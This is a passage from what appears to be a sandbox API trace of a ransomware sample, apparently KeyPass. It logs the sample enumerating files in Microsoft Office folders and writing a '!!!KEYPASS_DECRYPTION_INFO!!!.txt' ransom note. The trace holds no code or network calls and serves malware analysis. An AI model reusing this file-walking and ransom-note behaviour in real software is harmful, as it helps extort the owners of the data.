Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME27.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME28.CSS") returned=".CSS" [0245.321] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME29.CSS") returned=".CSS" [0245.321] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME30.CSS") returned=".CSS" [0245.321] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME31.CSS") returned=".CSS" [0245.321] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME32.CSS") returned=".CSS" [0245.321] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME33.CSS") returned=".CSS" [0245.321] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME34.CSS") returned=".CSS" [0245.321] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME35.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME36.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME37.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME38.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME39.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME40.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME41.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME42.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME43.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME44.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME45.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME46.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME47.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME48.CSS") returned=".CSS" [0245.322] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME49.CSS") returned=".CSS" [0245.323] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME50.CSS") returned=".CSS" [0245.323] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS") returned=".CSS" [0245.323] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS") returned=".CSS" [0245.323] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS") returned=".CSS" [0245.323] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS") returned=".CSS" [0245.323] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS") returned=".CSS" [0245.323] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0245.323] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.323] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0245.323] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.323] GetLastError () returned 0x3f0 [0245.323] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.323] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0245.327] GetFileType (hFile=0x610) returned 0x1 [0245.327] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0245.327] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0245.327] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0245.327] WriteFile (in: hFile=0x610, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0245.328] WriteFile (in: hFile=0x610, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0245.328] CloseHandle (hObject=0x610) returned 1 [0245.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x2e79b98 [0245.328] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PAPERS.INI") returned=".INI" [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR10F.GIF") returned=".GIF" [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR11F.GIF") returned=".GIF" [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR12F.GIF") returned=".GIF" [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR13F.GIF") returned=".GIF" [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR14F.GIF") returned=".GIF" [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR15F.GIF") returned=".GIF" [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR16F.GIF") returned=".GIF" [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR17F.GIF") returned=".GIF" [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.329] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR18F.GIF") returned=".GIF" [0245.329] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR19F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1B.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR20F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR21F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR22F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR23F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR24F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR25F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR26F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR27F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR28B.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR28F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR29B.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR29F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR2B.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.330] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR2F.GIF") returned=".GIF" [0245.330] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.331] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR30B.GIF") returned=".GIF" [0245.331] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.331] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR30F.GIF") returned=".GIF" [0245.331] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.331] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR31B.GIF") returned=".GIF" [0245.331] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.331] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR31F.GIF") returned=".GIF" [0245.331] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32B.GIF") returned=".GIF" [0245.332] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32F.GIF") returned=".GIF" [0245.332] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR33B.GIF") returned=".GIF" [0245.332] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR33F.GIF") returned=".GIF" [0245.332] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR34B.GIF") returned=".GIF" [0245.332] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR34F.GIF") returned=".GIF" [0245.332] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR35B.GIF") returned=".GIF" [0245.332] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR35F.GIF") returned=".GIF" [0245.332] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR36B.GIF") returned=".GIF" [0245.332] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.332] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR36F.GIF") returned=".GIF" [0245.332] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR37F.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR38F.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR39F.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR3B.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR3F.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR40F.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR41F.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR42F.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR43B.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR43F.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR44B.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR44F.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR45B.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR45F.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.333] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR46B.GIF") returned=".GIF" [0245.333] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.334] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR46F.GIF") returned=".GIF" [0245.334] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.334] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR47B.GIF") returned=".GIF" [0245.334] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.334] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 